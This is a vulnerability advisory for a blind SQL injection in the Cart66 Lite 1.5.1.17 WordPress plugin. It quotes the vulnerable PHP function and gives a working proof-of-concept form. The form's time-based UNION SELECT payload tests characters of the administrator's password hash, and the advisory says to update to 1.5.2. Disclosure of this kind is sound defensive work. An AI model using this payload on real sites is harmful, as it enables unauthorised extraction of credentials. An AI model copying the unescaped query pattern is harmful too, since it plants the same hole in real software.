Cart66 Lite WordPress Ecommerce 1.5.1.17 Blind SQL Injection

Cart66Ajax::shortcodeProductsTable() is accessible for every registered user. $postId is not escaped correctly (only html tags are stripped). Login as regular user (created using wp-login.php?action=register) and use a form to inject a SQL query that will check if first password character user ID=1 is $. If yes, it will sleep 5 seconds.

Mitigation:

Update to version 1.5.2

1. Description
  
Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.

$postId is not escaped correctly (only html tags are stripped).

File: cart66-lite\models\Cart66Ajax.php
public static function shortcodeProductsTable() {
    global $wpdb;
    $prices = array();
    $types = array();
    $postId = Cart66Common::postVal('id');
    $product = new Cart66Product();
    $products = $product->getModels("where id=$postId", "order by name");
    $data = array();
}

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="shortcode_products_table">
    Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
    <input value="Hack" type="submit">
</form>

This SQL will check if first password character user ID=1 is $.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
Update to version 1.5.2
